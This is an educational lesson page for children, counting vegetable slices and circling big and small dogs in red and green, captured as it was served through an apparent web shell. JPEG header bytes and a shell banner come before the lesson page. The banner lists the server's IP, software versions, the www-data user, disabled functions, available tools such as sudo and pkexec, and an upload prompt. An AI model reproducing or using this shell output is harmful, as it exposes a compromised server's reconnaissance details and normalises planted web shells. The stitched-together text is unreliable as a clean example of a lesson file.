????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old2/Html/LevelC/Category2/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Count the slices of different vegetables and circle the small and big dogs.</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<style type="text/css">
svg
{
position: absolute;
background-color: transparent;
}
</style>
<script>
function page_preLoad()
{
setPageImages();
shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.C, Category.No2, 13), true, true);
shared_setFooterTable('id_tblFooter', true, true, true, true, true);
shared_hideAllExceptFirstElement('id_drag_set1_no5_', 2);
}
function page_onLoad()
{
shared_set_debugInfo(Level.C, Category.No2);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
setAllSvgsWidthHeightAndPositionFromTds();
setAllEllipseStyles();
}
function setPageImages()
{
var imagesPath = '../../../img/LevelC/Category2/LevelCCat2Lesson13/';
shared_setImageSource('id_imgVegetables', imagesPath, 'vegetables.png');
shared_setImageSource('id_imgCucumber', imagesPath, 'cucumber.png');
shared_setImageSource('id_imgTomato', imagesPath, 'tomato.png');
shared_setImageSource('id_imgCarrot', imagesPath, 'carrot.png');
shared_setImageSource('id_imgPotato', imagesPath, 'potato.png');
shared_setImageSource('id_imgOnion', imagesPath, 'onion.png');
shared_setImageSource('id_imgDogsSet1', imagesPath, 'dogsSet1.png');
shared_setImageSource('id_imgDogsSet2', imagesPath, 'dogsSet2.png');
shared_setImageSource('id_imgDogsSet3', imagesPath, 'dogsSet3.png');
shared_setImageSource('id_imgDogsSet4', imagesPath, 'dogsSet4.png');
shared_setImageSource('id_imgDogsSet5', imagesPath, 'dogsSet5.png');
shared_setImageSource('id_imgDogsSet6', imagesPath, 'dogsSet6.png');
}
function setAllSvgsWidthHeightAndPositionFromTds()
{
var nTdsOrSets = 6;
for (var nthTdOrSet = 1; nthTdOrSet <= nTdsOrSets; nthTdOrSet++)
{
shared_svg_setSvgWidthHeightAndPositionFromTd('id_td' + nthTdOrSet + 'Set2', 'id_svg' + nthTdOrSet + 'Set2');
}
}
function setAllEllipseStyles()
{
var allEllipseIdsArray = new Array();
for (var nthEllipse = 1; nthEllipse <= 14; nthEllipse++)
{
allEllipseIdsArray.push('id_ellipse' + nthEllipse + 'Set2');
}
for (var indexEllipse = 0; indexEllipse < allEllipseIdsArray.length; indexEllipse++)
{
var id_ellipse = allEllipseIdsArray[indexEllipse];
shared_svg_setEllipseStyle(id_ellipse);
}
}
function ellipse_click(id_ellipse)
{
var eEllipse = document.getElementById(id_ellipse);
if (eEllipse.isValidated)
{
clearAllEllipses();
eEllipse = document.getElementById(id_ellipse);
}
if (eEllipse.circleColor == CircleColorSvg.None)//Transparent
{
eEllipse.style.stroke = '#ff0000';//Red
eEllipse.circleColor = CircleColorSvg.Red;
}
else if (eEllipse.circleColor == CircleColorSvg.Red)//Red
{
eEllipse.style.stroke = '#008000';//Green
eEllipse.circleColor = CircleColorSvg.Green;
}
else if (eEllipse.circleColor == CircleColorSvg.Green)//Green
{
eEllipse.style.stroke = 'rgba(0, 0, 0, 0)';//Transparent
eEllipse.circleColor = CircleColorSvg.None;
}
}
function clearAllEllipses()
{
var allEllipseIdsArray = ['id_ellipse1Set2', 'id_ellipse2Set2', 'id_ellipse3Set2', 'id_ellipse4Set2', 'id_ellipse5Set2', 'id_ellipse6Set2', 'id_ellipse7Set2', 'id_ellipse8Set2', 'id_ellipse9Set2', 'id_ellipse10Set2', 'id_ellipse11Set2', 'id_ellipse12Set2', 'id_ellipse13Set2', 'id_ellipse14Set2'];
shared_svg_clearMultiEllipsesUsingIdsArray(allEllipseIdsArray);
}
function btnValidate_click()
{
var redReqdEllipseIdsArray = ['id_ellipse2Set2', 'id_ellipse4Set2', 'id_ellipse6Set2', 'id_ellipse8Set2', 'id_ellipse9Set2', 'id_ellipse14Set2'];
var nRedCorrectEllipses = shared_svg_validateEllipsesForValidationReqd(redReqdEllipseIdsArray, CircleColorSvg.Red);//Red
var greenReqdEllipseIdsArray = ['id_ellipse1Set2', 'id_ellipse3Set2', 'id_ellipse5Set2', 'id_ellipse7Set2', 'id_ellipse10Set2', 'id_ellipse11Set2'];
var nGreenCorrectEllipses = shared_svg_validateEllipsesForValidationReqd(greenReqdEllipseIdsArray, CircleColorSvg.Green);//Green
var ellipseIdsArrayValidationNotReqd = ['id_ellipse12Set2', 'id_ellipse13Set2'];
shared_svg_validateEllipsesForValidationNotReqdForMulti(ellipseIdsArrayValidationNotReqd);
var allDraggedElementIdsArray = ['id_drag_no7', 'id_drag_no3', 'id_drag_set1_no5_1', 'id_drag_no4', 'id_drag_set1_no5_2'];
var isAllMovedInSet1 = shared_isAllInfosMoved(allDraggedElementIdsArray);
var eEllipse12 = document.getElementById('id_ellipse12Set2');
var isEllipse12NotCircled = (eEllipse12.circleColor == CircleColorSvg.None);
var eEllipse13 = document.getElementById('id_ellipse13Set2');
var isEllipse13NotCircled = (eEllipse13.circleColor == CircleColorSvg.None);
if (nRedCorrectEllipses == 6 && nGreenCorrectEllipses == 6 && isAllMovedInSet1 && isEllipse12NotCircled && isEllipse13NotCircled)
{
shared_show_claps_animation('shared_id_div_claps_image');
}
}
function btnPrevious_click()
{
window.location = 'LevelCCat2Lesson12.html';
}
function btnNext_click()
{
window.location = 'LevelCCat2Lesson14.html';
}
function btnHome_click()
{
shared_btnHomeCategories_click('LevelC');
}
function DragDrop(id_dropBox, setNo, textNo)
{
shared_setTextAndBackgroundColorToGreenByTrimmingText(shared_currentDropingId, id_dropBox);
if (setNo == 1)
{
if (textNo == 5)
{
showNextSet1_no5();
}
}
}
function showNextSet1_no5()
{
shared_unHideNextElement('id_drag_set1_no5_', 2);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="shared_id_div_claps_image">
</div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="5%">
<td>
<header height="100%">
<div id="id_tblHeader" align="center"></div>
</header>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="5">
<tr height="40%">
<td style="padding-bottom: 0px">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">
<tr height="15%">
<td class="shared_style_text1">
Count the <span class="shared_style_options_red">slices</span> of different vegetables:
</td>
</tr>
<tr height="*">
<td align="center" style="border-top: 0px">
<img id="id_imgVegetables" width="80%" height="80%">
</td>
</tr>
<tr height="15%">
<td style="border-top: 0px; border-bottom: 0px">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="*" class="shared_style_text1">Options:</td>
<td class="shared_style_text1" width="17%" align="center">
<span id="id_drag_no7" class="cls_drag_no7" draggable="true" ondragstart="shared_dragStart(event)"> 7 </span>
</td>
<td class="shared_style_text1" width="17%" align="center">
<span id="id_drag_no3" class="cls_drag_no3" draggable="true" ondragstart="shared_dragStart(event)"> 3 </span>
</td>
<td class="shared_style_text1" width="17%" align="center">
<span id="id_drag_set1_no5_1" class="cls_drag_set1_no5_1" draggable="true" ondragstart="shared_dragStart(event)"> 5 </span>
</td>
<td class="shared_style_text1" width="17%" align="center">
<span id="id_drag_no4" class="cls_drag_no4" draggable="true" ondragstart="shared_dragStart(event)"> 4 </span>
</td>
<td class="shared_style_text1" width="17%" align="center">
<span id="id_drag_set1_no5_2" class="cls_drag_set1_no5_2" draggable="true" ondragstart="shared_dragStart(event)"> 5 </span>
</td>
</tr>
</table>
</td>
</tr>
<tr height="30%">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="10%" align="right">
<img id="id_imgCucumber" width="90%" height="40%">
</td>
<td width="10%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*">
<td> </td>
</tr>
<tr height="50%">
<td id="id_dropBox_Set1_no5_1" class="shared_style_options_red" width="10%" align="center">___</td>
</tr>
<tr height="30%">
<td> </td>
</tr>
</table>
</td>
<td width="10%" align="right">
<img id="id_imgTomato">
</td>
<td width="10%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*">
<td> </td>
</tr>
<tr height="50%">
<td id="id_dropBox_no4" class="shared_style_options_red" width="10%" align="center">___</td>
</tr>
<tr height="30%">
<td> </td>
</tr>
</table>
</td>
<td width="10%" align="right">
<img id="id_imgCarrot">
</td>
<td width="10%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*">
<td> </td>
</tr>
<tr height="50%">
<td id="id_dropBox_no3" class="shared_style_options_red" width="10%" align="center">___</td>
</tr>
<tr height="30%">
<td> </td>
</tr>
</table>
</td>
<td width="10%" align="right">
<img id="id_imgPotato">
</td>
<td width="10%">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*">
<td> </td>
</tr>
<tr height="50%">
<td id="id_dropBox_no7" class="shared_style_options_red" width="10%" align="center">___</td>
</tr>
<tr height="30%">
<td> </td>
</tr>
</table>
</td>
<td width="10%" align="right">
<img id="id_imgOnion">
</td>
<td width="*">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*">
<td> </td>
</tr>
<tr height="50%">
<td id="id_dropBox_Set1_no5_2" class="shared_style_options_red" width="10%" align="center">___</td>
</tr>
<tr height="30%">
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td>
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">
<tr height="8%">
<td class="shared_style_text1" style="border-bottom: 0px">
Circle the <span class="shared_style_options_red">big</span> dog in red and <span class="shared_style_options_red">small</span> dog in green:
</td>
</tr>
<tr height="8%">
<td class="shared_style_text1" style="border-top: 0px; border-bottom: 0px">
[Click 1 time for <span class="shared_style_options_red">red</span> and click 2 times for <span class="shared_style_options_green">green</span> color]
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="50%">
<td id="id_td1Set2" width="33%" align="center">
<img id="id_imgDogsSet1">
<svg id="id_svg1Set2" style="visibility: hidden">
<ellipse id="id_ellipse1Set2" cx="29%" cy="63%" rx="6%" ry="15%"/>
<ellipse id="id_ellipse2Set2" cx="56%" cy="50%" rx="22%" ry="40%"/>
</svg>
</td>
<td id="id_td2Set2" width="33%" align="center">
<img id="id_imgDogsSet2">
<svg id="id_svg2Set2" style="visibility: hidden">
<ellipse id="id_ellipse3Set2" cx="34%" cy="55%" rx="9%" ry="20%"/>
<ellipse id="id_ellipse4Set2" cx="60%" cy="51%" rx="16%" ry="40%"/>
</svg>
</td>
<td id="id_td3Set2" width="*" align="center">
<img id="id_imgDogsSet3">
<svg id="id_svg3Set2" style="visibility: hidden">
<ellipse id="id_ellipse5Set2" cx="33%" cy="66%" rx="7%" ry="20%"/>
<ellipse id="id_ellipse6Set2" cx="58%" cy="51%" rx="18%" ry="40%"/>
</svg>
</td>
</tr>
<tr height="*">
<td id="id_td4Set2" width="33%" align="center">
<img id="id_imgDogsSet4">
<svg id="id_svg4Set2" style="visibility: hidden">
<ellipse id="id_ellipse7Set2" cx="32%" cy="57%" rx="9%" ry="20%"/>
<ellipse id="id_ellipse8Set2" cx="59%" cy="51%" rx="18%" ry="35%"/>
</svg>
</td>
<td id="id_td5Set2" width="33%" align="center">
<img id="id_imgDogsSet5">
<svg id="id_svg5Set2" style="visibility: hidden">
<ellipse id="id_ellipse9Set2" cx="42%" cy="51%" rx="20%" ry="35%"/>
<ellipse id="id_ellipse10Set2" cx="70%" cy="59%" rx="9%" ry="16%"/>
</svg>
</td>
<td id="id_td6Set2" width="*" align="center">
<img id="id_imgDogsSet6">
<svg id="id_svg6Set2" style="visibility: hidden">
<ellipse id="id_ellipse11Set2" cx="28%" cy="64%" rx="5%" ry="12%"/>
<ellipse id="id_ellipse12Set2" cx="39%" cy="60%" rx="5%" ry="14%"/>
<ellipse id="id_ellipse13Set2" cx="53%" cy="55%" rx="8%" ry="18%"/>
<ellipse id="id_ellipse14Set2" cx="71%" cy="50%" rx="10%" ry="26%"/>
</svg>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="5%">
<td>
<footer height="100%">
<div id="id_tblFooter" align="center"></div>
</footer>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_drag_no7', {revert : true, scroll : false, onStart : function(){shared_currentDropingId = 'id_drag_no7'}});
new webkit_draggable('id_drag_no3', {revert : true, scroll : false, onStart : function(){shared_currentDropingId = 'id_drag_no3'}});
new webkit_draggable('id_drag_set1_no5_1', {revert : true, scroll : false, onStart : function(){shared_currentDropingId = 'id_drag_set1_no5_1'}});
new webkit_draggable('id_drag_no4', {revert : true, scroll : false, onStart : function(){shared_currentDropingId = 'id_drag_no4'}});
new webkit_draggable('id_drag_set1_no5_2', {revert : true, scroll : false, onStart : function(){shared_currentDropingId = 'id_drag_set1_no5_2'}});
webkit_drop.add('id_dropBox_no7', {accept:["cls_drag_no7"], onDrop : function(){DragDrop('id_dropBox_no7', 1, 7)}});
webkit_drop.add('id_dropBox_no3', {accept:["cls_drag_no3"], onDrop : function(){DragDrop('id_dropBox_no3', 1, 3)}});
webkit_drop.add('id_dropBox_Set1_no5_1', {accept:["cls_drag_set1_no5_1", "cls_drag_set1_no5_2"], onDrop : function(){DragDrop('id_dropBox_Set1_no5_1', 1, 5)}});
webkit_drop.add('id_dropBox_no4', {accept:["cls_drag_no4"], onDrop : function(){DragDrop('id_dropBox_no4', 1, 4)}});
webkit_drop.add('id_dropBox_Set1_no5_2', {accept:["cls_drag_set1_no5_1", "cls_drag_set1_no5_2"], onDrop : function(){DragDrop('id_dropBox_Set1_no5_2', 1, 5)}});
</script>
</body>
</html>